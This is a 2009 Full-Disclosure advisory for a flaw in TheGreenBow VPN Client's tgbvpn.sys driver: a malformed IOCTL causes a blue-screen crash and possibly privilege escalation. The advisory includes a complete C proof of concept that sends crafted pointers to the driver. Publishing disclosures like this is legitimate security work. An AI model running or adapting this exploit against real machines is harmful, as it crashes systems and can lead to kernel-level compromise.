full-disclosure - TheGreenBow VPN Client tgbvpn.sys DoS and Potential Local

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <5dff694d0908170904p44bd6e63o1930ec785021b601@mail.gmail.com>
Date: Mon, 17 Aug 2009 12:04:43 -0400
From: evil fingers <contact.fingers@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: TheGreenBow VPN Client tgbvpn.sys DoS and
	Potential Local

Original Advisory Link:
https://www.evilfingers.com/advisory/Advisory/TheGreenBow_VPN_Client_tgbvpn.sys_DoS.php

++++++++++++++++++++++++++++++++++++++++++++++++++++
-----------[TheGreenBow VPN Client tgbvpn.sys DoS and Potential Local
Privilege Escalation]--------->


Author: Giuseppe 'Evilcry' Bonfa'
E-Mail: evilcry {AT} GMAIL {DOT} COM
Website: http://evilcry.netsons.org
             http://evilcodecave.blogspot.com
             http://evilcodecave.wordpress.com
             http://evilfingers.com
             http://malwareAnalytics.com <http://malwareanalytics.com/> [under
construction]

Release Date: 15/08/2009

+-------------------------------------------------+
Product: TheGreenBow VPN Client 4.61.003  (other versions could be affected)
Affected Component: tgbvpn.sys
Category: Local Denial of Service (BSOD)
         (untested) Local Privilege Escalation

+-------------------------------------------------+



--------------------------[Details]--------------->

TheGreenBow's tgbvpn.sys Driver does not sanitize user supplied input
(IOCTL)
and this lead to a Driver Collapse that propagates on the system with a
BSOD,
and potential risk of Privilege Escalation.

Affected IOCTL is 0x80000034

Transfer Type: METHOD_BUFFERED

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
ef1cabf4 841d36a8 ef1cac58 841d36a8 f42dd895 tgbvpn+0x9f51
00000000 00000000 00000000 00000000 00000000 0x841d36a8


+--------------------------------------------------------------------------------------------+
/* tgbvpn.sys KERNEL_MODE_EXCEPTION_NOT_HANDLED - DoS PoC
 *
 * Author: Giuseppe 'Evilcry' Bonfa'
 * E-Mail: evilcry {AT} gmail. {DOT} com
 * Website: http://evilcry.netsons.org
 * http://evilcodecave.blogspot.com
 * http://evilcodecave.wordpress.com
  * http://evilfingers.com
 * http://malwareAnalytics.com <http://malwareanalytics.com/> [under
construction]
 */

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
   HANDLE hDevice;
   DWORD Junk;



   system("cls");
   printf("\n .:: TheGreenBow DoS Proof of Concept ::.\n");

   hDevice = CreateFileA("\\\\.\\tgbvpn",
                       0,
                       FILE_SHARE_READ | FILE_SHARE_WRITE,
                       NULL,
                       OPEN_EXISTING,
                       0,
                       NULL);

   if (hDevice == INVALID_HANDLE_VALUE)
   {
       printf("\n Unable to Device Driver\n");
       return EXIT_FAILURE;
   }

   DeviceIoControl(hDevice, 0x80000034,(LPVOID) 0x80000001, 0, (LPVOID)
0x80000002, 0, &Junk, (LPOVERLAPPED)NULL);


   return EXIT_SUCCESS;
}

+--------------------------------------------------------------------------------------------+

Regards,
Giuseppe 'Evilcry' Bonfa'
www.EvilFingers.com <http://www.evilfingers.com/>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/